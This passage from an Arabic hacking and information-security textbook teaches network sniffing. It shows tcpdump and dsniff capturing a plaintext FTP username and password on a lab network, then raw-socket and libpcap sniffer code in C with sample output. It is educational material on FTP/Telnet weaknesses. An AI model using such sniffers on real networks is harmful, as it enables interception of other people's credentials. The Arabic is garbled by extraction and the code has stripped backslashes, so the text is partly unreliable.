‫بال‬ ‫املتعلقة‬ ‫األساسيات‬ ‫بعض‬ ‫عن‬ ‫احلديث‬ ‫من‬ ‫انتهينا‬ ‫نكون‬ ‫ذنا‬ ‫لىل‬
“Computer Security”
.
‫موضوع‬ ‫لىل‬ ‫سننتقل‬
‫جديد‬
..
ُ
‫حيث‬
‫بع‬ ‫ودراسة‬ ‫بتحليل‬ ‫نقوم‬
‫كال‬ ‫ة‬َ‫هري‬ َ
‫الش‬ ‫ت‬ َ
‫ام‬َ‫ج‬َ‫اهل‬ ‫أنواع‬ ‫ض‬
Buffer Overflow
‫وغري‬
..‫ذا‬
‫استيعابك‬ ‫من‬ ‫تأكد‬
‫هم‬َ‫ف‬‫ال‬ َ
‫ك‬َ‫ل‬ ‫ن‬َ‫م‬‫َض‬‫ن‬ ‫كي‬ ‫الثاين‬ ‫الباب‬ ‫يف‬ ‫تناولناذا‬ ‫التي‬ ‫الشبكات‬ ‫وأمثلة‬ ،‫األول‬ ‫الباب‬ ‫يف‬ ‫رشحناذا‬ ‫التي‬ ‫الربجمة‬ ‫ألساسيات‬
..‫اهلل‬ ‫بإذن‬ ‫مة‬‫القاد‬ ‫قرات‬َ‫ف‬‫لل‬ ‫يد‬َ‫جل‬‫ا‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[186]
Network Sniffing
‫ع‬ ‫ُطلق‬‫ن‬
‫بعمل‬ ‫يقوم‬ ‫الصغريالذي‬ ‫الربنامج‬ ‫ذذا‬ ‫ىل‬
Intercept
‫لل‬
Traffic
‫وعمل‬ ‫ما‬ ٍ‫شبكة‬ ‫الل‬‫ط‬ ‫املار‬
Log
‫ال‬ ‫هلذا‬
Traffic
‫بال‬
“Network Sniffer”
.
‫ال‬ ‫مثل‬ ‫برنامج‬ ‫يقوم‬
tcpdump
‫ع‬‫ض‬َ‫و‬ ‫عىل‬ ‫لديك‬ ‫الشبكة‬ ‫كارت‬ ‫بوضع‬
“Promiscuous Mode”
،
‫ال‬ ‫ذذا‬
mode
‫ب‬ ‫القيام‬ ‫ن‬‫م‬ ُ‫ه‬ُ‫ن‬ِّ‫ك‬َ‫م‬ُ‫ي‬
‫عملية‬
‫ال‬
“packet-capturing”
.
‫ال‬ ‫نتائج‬ ‫ذذه‬
tcpdump
‫التقاط‬ ‫ر‬‫ُظه‬‫ت‬ ‫والتي‬
‫احل‬
‫بال‬ ‫اخلاص‬ ‫ساب‬
FTP
.
reader@hacking:~/booksrc $ sudo tcpdump -l -X 'ip host 192.168.0.118'
tcpdump: listening on eth0
21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) ack 1 win
17316 <nop,nop,timestamp 466808 920202> (DF)
0x0000 4500 005d e065 4000 8006 97ad c0a8 0076 E..].e@........v
0x0010 c0a8 00c1 0015 800a 292e 8a73 5ed4 9ce8 ........)..s^...
0x0020 8018 43a4 a12f 0000 0101 080a 0007 1f78 ..C../.........x
0x0030 000e 0a8a 3232 3020 5459 5053 6f66 7420 ....220.TYPSoft.
0x0040 4654 5020 5365 7276 6572 2030 2e39 392e FTP.Server.0.99.
0x0050 3133 13
21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 42 win 5840
<nop,nop,timestamp 920662 466808> (DF) [tos 0x10]
0x0000 4510 0034 966f 4000 4006 21bd c0a8 00c1 E..4.o@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)...
0x0020 8010 16d0 81db 0000 0101 080a 000e 0c56 ...............V
0x0030 0007 1f78 ...x
21:27:52.406177 192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42
win
5840 <nop,nop,timestamp 921434 466808> (DF) [tos 0x10]
0x0000 4510 0040 9670 4000 4006 21b0 c0a8 00c1 E..@.p@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)...
0x0020 8018 16d0 edd9 0000 0101 080a 000e 0f5a ...............Z
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[187]
0x0030 0007 1f78 5553 4552 206c 6565 6368 0d0a ...xUSER.leech..
21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13
win 17304 <nop,nop,timestamp 466885 921434> (DF)
0x0000 4500 0056 e0ac 4000 8006 976d c0a8 0076 E..V..@....m...v
0x0010 c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4 ........)...^...
0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fc5 ..C.N,..........
0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264 ...Z331.Password
0x0040 2072 6571 7569 7265 6420 666f 7220 6c65 .required.for.le
0x0050 6563 ec
21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840
<nop,nop,timestamp 921435 466885> (DF) [tos 0x10]
0x0000 4510 0034 9671 4000 4006 21bb c0a8 00c1 E..4.q@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)...
0x0020 8010 16d0 7e5b 0000 0101 080a 000e 0f5b ....~[.........[
0x0030 0007 1fc5 ....
21:27:56.155458 192.168.0.193.32778 > 192.168.0.118.ftp: P 13:27(14) ack 76
win 5840 <nop,nop,timestamp 921809 466885> (DF) [tos 0x10]
0x0000 4510 0042 9672 4000 4006 21ac c0a8 00c1 E..B.r@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)...
0x0020 8018 16d0 90b5 0000 0101 080a 000e 10d1 ................
0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465 ....PASS.l8@nite
0x0040 0d0a ..
21:27:56.179427 192.168.0.118.ftp > 192.168.0.193.32778: P 76:103(27) ack 27
win 17290 <nop,nop,timestamp 466923 921809> (DF)
0x0000 4500 004f e0cc 4000 8006 9754 c0a8 0076 E..O..@....T...v
0x0010 c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02 ........)...^...
226 0x400
0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb ..C.L...........
0x0030 000e 10d1 3233 3020 5573 6572 206c 6565 ....230.User.lee
0x0040 6368 206c 6f67 6765 6420 696e 2e0d 0a ch.logged.in...
‫حساب‬ ‫التقاط‬ ‫تم‬ ‫لقد‬
‫ستخدم‬ُ‫مل‬‫ا‬
‫بال‬ ‫اخلاص‬
FTP
‫بال‬ ‫اتصاله‬ ‫أثناء‬
FTP Server
،
‫ق‬
‫يتم‬ ‫التي‬ ‫البيانات‬ ‫أن‬ ‫تعلم‬ ‫كام‬
‫لرساهل‬
‫بروتوكول‬ ‫باستخدام‬ ‫الشبكة‬ ‫عرب‬ ‫ا‬
‫ال‬
FTP
‫ال‬ ‫أو‬
Telnet
‫تكون‬
Unencrypted
.!
:‫ذذه‬ ‫الضعف‬ ‫لنقطة‬ ‫توضيح‬ ‫وذذا‬
Using FTP both the command and data channels are unencrypted. Any data sent over these
channels can be intercepted and read. One common exploit that takes advantage of this particular
vulnerability is the man-in-the-middle attack using ARP poisoning and a packet sniffer.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[188]
‫السيد‬ ‫استخدم‬ ‫لذا‬ ‫بالطبع‬
“Leech”
‫ال‬ ‫بروتوكول‬ ‫نا‬ُ‫ذ‬
FTPS
‫ال‬ ‫من‬ ً‫ال‬‫بد‬
FTP
‫لن‬
‫تظهر‬
‫ال‬
Session
‫ال‬ ‫ألن‬
FTPS
‫ال‬ ‫م‬‫َخد‬‫ت‬‫س‬َ‫ي‬
SSL
‫ال‬ ‫عملية‬ ‫تشفري‬ ‫يف‬
Login
.
‫ال‬ ‫استخدام‬ ‫ن‬‫م‬ ً‫ال‬َ‫د‬َ‫ب‬ ‫ل‬‫ث‬‫وبامل‬
Telnet
‫ال‬ ‫استخدام‬ ‫فضل‬ُ‫ي‬
SSH
‫َحقيق‬‫ت‬‫ل‬
.‫ن‬‫اآلم‬ ‫اإلتصال‬
‫ال‬ ‫من‬ ً‫ال‬‫تفصي‬ ‫أكثر‬ ‫أدوات‬ ‫ُوجد‬‫ت‬
tcpdump
‫سابا‬‫ح‬ ‫بالتقاط‬ ‫تقوم‬
‫ال‬ ‫ثل‬‫م‬ ‫بارش‬ُ‫م‬ ‫بشكل‬ ‫مني‬‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫ت‬
dsniff
.
Dsniff:
reader@hacking:~/booksrc $ sudo dsniff -n
dsniff: listening on eth0
-----------------
12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp)
USER leech
PASS l8@nite
Building Our Sniffer!
‫ال‬ ‫برامج‬ ‫تعمل‬ ‫كيف‬ ‫قرب‬ ‫عن‬ ‫سنتعرف‬ ‫واآلن‬
Network Sniffing
‫املختلف‬
‫ة‬
.
:‫ل‬ ُ‫الرج‬ ‫ذذا‬ ُ‫ه‬‫يقول‬ ‫ما‬ ‫عىل‬ ‫نظرة‬ ‫ُلق‬‫ن‬ ‫تعال‬
Packet sniffers can be coded by either using sockets api provided by the kernel, or by using some
packet capture library like libpcap.
Basic Sniffer using sockets
To code a very simply sniffer in C the steps would be:
1. Create a raw socket.
2. Put it in a recvfrom loop and receive data on it.
A raw socket when put in recvfrom loop receives all incoming packets. This is because it is not
bound to a particular address or port.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[189]
sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_TCP);
while(1)
{
data_size = recvfrom(sock_raw , buffer , 65536 , 0 , &saddr , &saddr_size);
}
That’s all. The buffer will hold the data sniffed or picked up. The sniffing part is actually
complete over here. The next task is to actually read the captured packet, analyze it and present it
to the user in a readable format.
…
‫ال‬ ‫سيستخدم‬ ‫أنه‬ ‫ربنا‬ ُ
‫خي‬ ‫أن‬ ‫ل‬ ُ‫الرج‬ ‫ذذا‬ ‫ريد‬ُ‫ي‬
Row Socket
َ‫ي‬‫ل‬
‫ال‬ ‫داطل‬ ‫حيدث‬ ‫ما‬ ‫طالله‬ ‫من‬ ‫ف‬‫كش‬
OSI Layers
،
‫وكام‬
‫يظهر‬
‫ال‬ ‫نوع‬ ‫حدد‬ ‫ققد‬ ‫الكود‬ ‫يف‬
Protocol Family
‫ب‬
IPv4
،
‫ال‬ ‫نوع‬ ‫واطتار‬
Socket
‫ليكون‬
Row Socket
،
‫ثم‬
‫ال‬ ‫بروتوكول‬ ‫مراقبة‬ ‫ريد‬ُ‫ي‬ ‫أنه‬ ‫حدد‬
TCP
.
‫ال‬ ‫استخدم‬ ‫ثم‬
recvfrom( )
‫ال‬ ‫تستقبل‬ ‫والتي‬
Arguments
‫تراذا‬ ‫التي‬
‫بعمل‬ ‫يقوم‬ ‫كي‬ ‫استخدمها‬ ،‫باألعىل‬
Capture
‫لل‬
traffic
‫كا‬ َ‫رب‬َ‫ع‬ ‫املار‬
‫ال‬ ‫يف‬ ‫زينه‬ َ
‫وخت‬ ‫الشبكة‬ ‫رت‬
buffer
،
‫ل‬‫كتم‬َ‫ي‬ ‫ولكي‬
‫ال‬ ‫ذذا‬
Sniffer
‫م‬‫َستخد‬‫ن‬ ‫أن‬ ‫د‬ُ‫ب‬‫ال‬ ،‫الرائع‬
function
‫ال‬ ‫ذذه‬ ‫ض‬‫ر‬َ‫وع‬ ‫ز‬‫ر‬َ‫ق‬ ‫ل‬َ‫م‬َ‫ع‬‫ل‬
data
.
‫كذلك‬ ‫أليس‬
!
،
..‫سنستخدم؟‬ ‫قامذا‬
‫م‬‫َخد‬‫ت‬‫نس‬ َ
‫س‬
‫ال‬
dump( )
‫السابق‬ ‫الفصل‬ ‫يف‬ ‫حناذا‬ َ
‫رش‬ ‫التي‬
.!
‫ُك‬‫ن‬‫مك‬ُ‫ي‬
‫راجعتها‬ُ‫م‬
.‫عملها‬ ‫آلية‬ ‫تتذكر‬ ‫كي‬
‫ال‬ ‫ذذا‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫ذيا‬
Sniffer
‫ال‬ ‫لدطال‬ ‫بعد‬
Dump( )
:‫عليه‬
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "error.h"
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[190]
int main(void) {
int i, recv_length, sockfd;
u_char buffer[9000];
if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
fatal("in socket");
for(i=0; i < 3; i++) {
recv_length = recv(sockfd, buffer, 8000, 0);
printf("Got a %d byte packetn", recv_length);
dump(buffer, recv_length);
}
}
‫بفتح‬ ‫يقوم‬ ‫الكود‬ ‫ذذا‬
row socket
‫نوع‬ ‫من‬
TCP
،
‫عمل‬‫ب‬ ‫ويقوم‬
capture
‫لعدد‬
(
3 Packets
)
‫ال‬ ‫دالة‬ ‫داطل‬ ‫يبدو‬ ‫كام‬
For( )
.
‫ال‬ ‫بطباعة‬ ‫يقوم‬ ‫ثم‬
row data
‫بكل‬ ‫اخلاصة‬
packet
‫ال‬ ‫باستخدام‬
dump( )
.
‫َغري‬‫ت‬ُ‫مل‬‫ا‬ ‫نا‬‫ق‬‫ر‬َ‫ع‬ ‫البداية‬ ‫يف‬ ‫أننا‬ ‫الحظ‬
buffer
‫نوعه‬ ‫نا‬‫دد‬ َ‫ح‬َ‫و‬
“unsigned char”
.
‫اطرتنا‬ ‫اذا‬‫ومل‬
“unsigned char”
‫بالذات؟‬
‫ال‬ ‫يف‬ ‫ُستخدم‬‫ت‬ ‫صيغة‬ ‫أقضل‬ ‫ألهنا‬
network programming
،
‫جيد‬ ‫بشكل‬ ‫تتعامل‬ ‫قهي‬
‫ال‬ ‫مع‬
binary data
..
‫برنامج‬ ‫ر‬‫ك‬َ‫تتذ‬ ‫ذل‬
“the Server”
‫الذي‬
‫عنه‬ ‫حتدثنا‬
‫الثاين؟‬ ‫الباب‬ ‫يف‬
.
‫ال‬ ‫بعض‬ ‫بإرسال‬ ‫سنقوم‬
texts
‫ال‬ ‫هلذا‬
server
‫سيقو‬ ‫كيف‬ ‫ب‬ ِّ‫ُجر‬‫ن‬‫و‬
‫ال‬ ‫م‬
sniffer
‫بعمل‬
capture
‫ال‬ ‫ذا‬‫هل‬
text
‫الذي‬
.‫لرساله‬ ‫جيري‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[191]
‫ال‬ ‫تشغيل‬ ‫نتائج‬ ‫ذذه‬
Sniffer
‫قتح‬ ‫أثناء‬
Session
‫ال‬ ‫مع‬
Server
:
reader@hacking:~/booksrc $ sudo ./raw_tcpsniff
Got a 68 byte packet
45 10 00 44 1e 36 40 00 40 06 46 23 c0 a8 2a 01 | E..D.6@.@.F#..*.
c0 a8 2a f9 8b 12 1e d2 ac 14 cf 92 e5 10 6c c9 | ..*...........l.
80 18 05 b4 32 47 00 00 01 01 08 0a 26 ab 9a f1 | ....2G......&...
02 3b 65 b7 74 68 69 73 20 69 73 20 61 20 74 65 | .;e.this is a te
73 74 0d 0a | st..
Got a 70 byte packet
45 10 00 46 1e 37 40 00 40 06 46 20 c0 a8 2a 01 | E..F.7@.@.F ..*.
c0 a8 2a f9 8b 12 1e d2 ac 14 cf a2 e5 10 6c c9 | ..*...........l.
80 18 05 b4 27 95 00 00 01 01 08 0a 26 ab a0 75 | ....'.......&..u
02 3c 1b 28 41 41 41 41 41 41 41 41 41 41 41 41 | .<.(AAAAAAAAAAAA
41 41 41 41 0d 0a | AAAA..
Got a 71 byte packet
45 10 00 47 1e 38 40 00 40 06 46 1e c0 a8 2a 01 | E..G.8@.@.F...*.
c0 a8 2a f9 8b 12 1e d2 ac 14 cf b4 e5 10 6c c9 | ..*...........l.
80 18 05 b4 68 45 00 00 01 01 08 0a 26 ab b6 e7 | ....hE......&...
02 3c 20 ad 66 6a 73 64 61 6c 6b 66 6a 61 73 6b | .< .fjsdalkfjask
66 6a 61 73 64 0d 0a | fjasd..
reader@hacking:~/booksrc $
‫تذكر‬
‫ن‬َ‫أ‬
(
0x41
)
‫َعني‬‫ت‬
(
A
)
‫بال‬
ASCII
.
‫ال‬ ‫بة‬‫َجر‬‫ت‬‫ب‬ ‫منا‬ُ‫ق‬ ‫لقد‬
sniffing
‫ال‬ ‫باستخدام‬
row socket
،
‫ب‬ ِّ‫ُجر‬‫ن‬ َ
‫س‬ ‫واآلن‬
‫ال‬ ‫استخدام‬
libpcap library
،
‫ال‬ ‫ها‬ُ‫م‬‫يستخد‬ ‫والتي‬
tcpdump
‫ال‬ ‫و‬
dsniff
.
libpcap Sniffer
‫ال‬ ‫ذذه‬ ‫تعريف‬ ‫ماييل‬
Lib
:
The Packet Capture library provides a high level interface to packet capture systems. All packets
on the network, even those destined for other hosts, are accessible through this mechanism. It
also supports saving captured packets to a “savefile”, and reading packets from a “savefile”.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[192]
‫كاليفورنيا‬ ‫جامعة‬ ‫لىل‬ ‫ينتمون‬ ‫رون‬ِّ‫طو‬ُ‫م‬ ‫ثالثة‬ ‫بكتابتها‬ ‫قام‬
،
‫بريكيل‬
..
‫هلم‬ ً‫ا‬‫كر‬ ُ
‫ش‬

.
‫ال‬ ‫باستخدام‬ ‫سنقوم‬
functions
‫ال‬ ‫ِبذه‬ ‫اخلاصة‬
Lib
#include <pcap.h>
#include "error.h"
void pcap_fatal(const char *failed_in, const char *errbuf) {
printf("Fatal Error in %s: %sn", failed_in, errbuf);
exit(1);
}
int main() {
struct pcap_pkthdr header;
const u_char *packet;
char errbuf[PCAP_ERRBUF_SIZE];
char *device;
pcap_t *pcap_handle;
int i;
device = pcap_lookupdev(errbuf);
if(device == NULL)
pcap_fatal("pcap_lookupdev", errbuf);
printf("Sniffing on device %sn", device);
pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf);
if(pcap_handle == NULL)
pcap_fatal("pcap_open_live", errbuf);
for(i=0; i < 3; i++) {
packet = pcap_next(pcap_handle, &header);
printf("Got a %d byte packetn", header.len);
dump(packet, header.len);
}
pcap_close(pcap_handle);
}
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[193]
‫ال‬ ‫ذذه‬
Library
‫ال‬ َ‫ن‬‫م‬ ‫العديد‬ ‫ا‬‫ِب‬
functions
‫وال‬
structures
.‫ُريد‬‫ن‬ ‫ما‬ ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫َقوم‬‫ت‬‫ل‬
‫بال‬ ‫نبدأ‬
main( )
:
‫باستدعاء‬ ‫منا‬ُ‫ق‬
struct
‫من‬
‫ال‬ ‫ذذه‬
lib
‫وذو‬
pcap_pkthdr
..
‫ا‬
‫منه‬ ‫شتققنا‬
object
‫وأسميناه‬
header
..
‫ال‬ ‫ذذا‬
object
‫ال‬ ‫نفس‬ ‫سيحمل‬
variables
‫ال‬ ‫ذذا‬ ‫حتت‬ ‫ة‬ َ‫ج‬‫ندر‬ُ‫مل‬‫ا‬
struct
.‫م‬َ‫ل‬‫َع‬‫ت‬ ‫كام‬
:‫ذاذي‬
struct pcap_pkthdr {
struct timeval ts; /* time stamp */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /* length this packet (off wire) */
};

‫ال‬ ‫قيه‬ ‫حدث‬ ‫الذي‬ ‫الوقت‬ ‫عرض‬‫ل‬ ‫ستخدم‬ُ‫ي‬ ‫متغري‬ ‫أول‬
capturing
.

‫ال‬ ‫حجم‬ ‫لك‬ ‫عرض‬َ‫ي‬‫س‬ ‫والثاين‬
data
‫ال‬ ‫عملية‬ ‫طالل‬ ‫التقاطها‬ ‫لك‬ ‫تاح‬ُ‫مل‬‫ا‬
capture
.

‫والثالث‬
‫ال‬ ‫حجم‬ ‫لك‬ ‫عرض‬َ‫ي‬‫س‬
Packets
.!‫التقاطها‬ ‫يتم‬ ‫التي‬ ‫الفعلية‬
‫ال‬ ‫ه‬‫ب‬ ‫َضع‬‫ن‬ َ
‫س‬ ‫الذي‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫تعريف‬‫ب‬ ‫منا‬ُ‫ق‬ ‫ثم‬
row bytes
‫بصيغة‬
unsigned char
.ً‫ا‬‫سالف‬ ‫أوضحنا‬ ‫كام‬
‫متغري‬ ‫بعده‬ ‫ويأيت‬
‫بإسم‬
errbuf
‫وذو‬ ‫ثابت‬ ‫حجم‬ ‫له‬
256 bytes
،
‫ال‬ ‫سار‬َ‫م‬ ‫ه‬‫ب‬ ‫ع‬ َ
‫َض‬‫ن‬‫ل‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫ذذا‬ ‫سنستخدم‬
device
‫عملي‬‫ب‬ ‫قوم‬َ‫ي‬ َ
‫س‬ ‫الذي‬
‫ة‬
‫ال‬
sniffing
،
‫سيكون‬ ‫نا‬ُ‫ذ‬ ‫نا‬‫حالت‬ ‫يف‬ ‫وذو‬
/dev/eth0
‫و‬
‫ا‬‫ِب‬ ‫نعني‬
ethernet0
.‫لدينا‬ ‫الشبكة‬ ‫كارت‬ ‫لىل‬ ً‫ة‬‫لشار‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[194]
:‫اجلزء‬ ‫هلذا‬ ‫نأيت‬ ‫م‬ُ‫ث‬
device = pcap_lookupdev(errbuf);
if(device == NULL)
pcap_fatal("pcap_lookupdev", errbuf);
printf("Sniffing on device %sn", device);
‫استخدمنا‬
pcap_lookupdev( )
‫لديك‬ ‫الشبكة‬ ‫كارت‬ ‫من‬ ‫بالتحقق‬ ‫تقوم‬‫ل‬
:
"
Find the default device on which to capture
"
‫نا‬َ‫ل‬ ‫ع‬‫ج‬ ُ
‫رت‬ َ
‫س‬َ‫ق‬ ،‫ذلك‬ ‫ر‬‫ذ‬َ‫ع‬َ‫ت‬ ‫ولن‬
error
‫طريق‬ ‫عن‬
fatal( )
.‫ل‬‫ب‬َ‫ق‬ ‫ن‬‫م‬ ً‫ا‬‫رار‬‫م‬ ‫استخمناذا‬ ‫التي‬
:‫اجلزء‬ ‫ذذا‬ ‫م‬ُ‫ث‬
pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf);
if(pcap_handle == NULL)
pcap_fatal("pcap_open_live", errbuf);
‫نا‬ُ‫ذ‬ ‫استخدمنا‬
pcap_open_live( )
‫ال‬ ‫ن‬‫م‬ ‫وذي‬
libpcap library
.ً‫ا‬‫أيض‬
‫ال‬ ‫ن‬‫م‬ ‫ة‬َ‫موع‬ َ
‫جم‬ ‫ذ‬ ُ
‫وتأط‬
arguments
‫ظ‬‫ُالح‬‫ن‬ ‫كام‬
:

‫ال‬ ‫سار‬َ‫م‬ ‫ذو‬ ‫األول‬
device
،‫نفسه‬
/dev/eth0

‫والثاين‬
‫ال‬ ‫ذو‬
maximum packet size

‫ذو‬ ‫والثالث‬
promiscuous mode flag

‫ال‬ ‫ذو‬ ‫والرابع‬
timeout value

‫ذو‬ ‫واخلامس‬
pointer
‫ال‬ ‫لىل‬ ‫يشري‬
errbuf
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[195]
‫األطري‬ ‫زء‬ُ‫جل‬‫ا‬
:
for(i=0; i < 3; i++) {
packet = pcap_next(pcap_handle, &header);
printf("Got a %d byte packetn", header.len);
dump(packet, header.len);
}
‫بعمل‬ ‫نقوم‬ ‫كالعادة‬
loop
‫ال‬ ‫الستقبال‬
packets
،
‫ثالثة‬ ‫ليكون‬ ‫عددذم‬ ‫وحددنا‬
.
‫ال‬ ‫ذذه‬
pcap_next( )
‫ل‬‫َقب‬‫ت‬‫َس‬‫ت‬
arguments
‫بار‬‫ع‬
‫ة‬
‫ال‬ ‫عن‬
handle
‫ال‬ ‫من‬ ‫القادم‬
Pcap_open_live( )
‫ال‬ ‫ذو‬ ‫واآلطر‬
"
address of our object
"
‫من‬ ُ‫ه‬‫اشتققنا‬ ‫الذي‬
‫ال‬
pcap_pkthdr
،
‫ال‬ ‫بيانات‬ ‫حيوي‬ ‫الذي‬
length of packets
‫ال‬ ‫و‬
time of capturing
.
‫ال‬ ‫ذذه‬ ‫وظيفة‬ َ
‫َرب‬‫ت‬‫ُع‬‫ت‬
function
‫كاآليت‬
:
“Return the next available packet”
‫ال‬ ‫وظيفة‬ ‫تأيت‬ ‫م‬ُ‫ث‬
dump( )
،
‫و‬
‫ل‬‫َقب‬‫ت‬‫َس‬‫ت‬
two arguments
:

‫ال‬ ‫ذو‬ ‫األول‬
packet
،
‫بار‬‫ع‬ ‫وذو‬
‫ة‬
‫عن‬
unsigned char
‫ال‬ ‫داطله‬‫ب‬ ‫حمل‬َ‫ي‬‫ل‬
row bytes

‫ال‬ ‫أحد‬ ‫ذو‬ ‫والثاين‬
attributes
‫ال‬ ‫أو‬
elements
‫بال‬ ‫اخلاص‬
header
،
.)‫جزء‬ ‫أول‬ ‫يف‬ ُ‫ه‬‫عن‬ ‫نا‬‫َلم‬‫ك‬َ‫ت‬(
َ‫أ‬ ‫عني‬َ‫ي‬ ‫ذذا‬
‫ال‬ ‫ذذا‬ ‫من‬ ‫ُريد‬‫ن‬ ‫ال‬ ‫َنا‬‫ن‬
struct
‫ال‬ ‫ذذا‬ ‫سوى‬
variable
‫بال‬ ‫تعلق‬ُ‫مل‬‫ا‬
length
.
‫م‬‫َستخد‬‫ن‬ ً‫ا‬‫أطري‬ ‫م‬ُ‫ث‬
close_pcap( )
:‫العملية‬ ‫إلهناء‬
pcap_close() - close a capture device or save file
:‫الكود‬ ‫ذذا‬ ‫بتشغبل‬ ‫نقوم‬‫ل‬ ‫ذيا‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[196]
reader@hacking:~/booksrc $ gcc -o pcap_sniff pcap_sniff.c -l pcap
reader@hacking:~/booksrc $ ./pcap_sniff
Fatal Error in pcap_lookupdev: no suitable device found
reader@hacking:~/booksrc $ sudo ./pcap_sniff
Sniffing on device eth0
Got a 82 byte packet
00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P..).e...E.
00 44 1e 39 40 00 40 06 46 20 c0 a8 2a 01 c0 a8 | .D.9@.@.F ..*...
2a f9 8b 12 1e d2 ac 14 cf c7 e5 10 6c c9 80 18 | *...........l...
05 b4 54 1a 00 00 01 01 08 0a 26 b6 a7 76 02 3c | ..T.......&..v.<
37 1e 74 68 69 73 20 69 73 20 61 20 74 65 73 74 | 7.this is a test
0d 0a | ..
Got a 66 byte packet
00 01 29 15 65 b6 00 01 6c eb 1d 50 08 00 45 00 | ..).e...l..P..E.
00 34 3d 2c 40 00 40 06 27 4d c0 a8 2a f9 c0 a8 | .4=,@.@.'M..*...
2a 01 1e d2 8b 12 e5 10 6c c9 ac 14 cf d7 80 10 | *.......l.......
230 0x400
05 a8 2b 3f 00 00 01 01 08 0a 02 47 27 6c 26 b6 | ..+?.......G'l&.
a7 76 | .v
Got a 84 byte packet
00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P..).e...E.
00 46 1e 3a 40 00 40 06 46 1d c0 a8 2a 01 c0 a8 | .F.:@.@.F...*...
2a f9 8b 12 1e d2 ac 14 cf d7 e5 10 6c c9 80 18 | *...........l...
05 b4 11 b3 00 00 01 01 08 0a 26 b6 a9 c8 02 47 | ..........&....G
27 6c 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | 'lAAAAAAAAAAAAAA
41 41 0d 0a | AA..
reader@hacking:~/booksrc $
reader@hacking:~/booksrc $
‫ال‬ ‫ظهور‬ ‫الحظ‬
error
‫استخدام‬ ‫عدم‬ ‫بسبب‬ ‫البداية‬ ‫يف‬
sudo command
..‫نجاح‬‫ب‬ ‫َم‬‫ت‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[197]
ً‫ة‬‫لثار‬ ‫أكثر‬ ‫ور‬ُ‫م‬ُ‫أ‬ ‫لىل‬ ‫اآلن‬ ‫ل‬‫ننتق‬ َ
‫س‬
..
‫بعمل‬ ‫سنقوم‬
Analysis
‫لل‬
OSI Layers
..
‫ال‬ ‫تفهم‬ ‫بأن‬ ‫ك‬ُ‫د‬‫أع‬
OSI Layers
.‫القادمة‬ ‫الفقرة‬ ‫انتهاء‬ ‫مع‬ ‫مق‬ُ‫ع‬‫ب‬
..‫نا‬‫ب‬ ‫ذيا‬
Layer Analysis
‫ال‬ ‫ذذا‬
traffic
‫عن‬ ‫عبارة‬ ‫الشبكة‬ ‫عرب‬ ‫املار‬
packets
‫عىل‬ ‫حتتوي‬
data
‫و‬
headers
‫ق‬ِّ‫ل‬‫تع‬ُ‫مل‬‫ا‬ ‫التفاصيل‬ ‫يوضح‬
‫ة‬
‫ال‬ ‫تلك‬‫ب‬
data
.
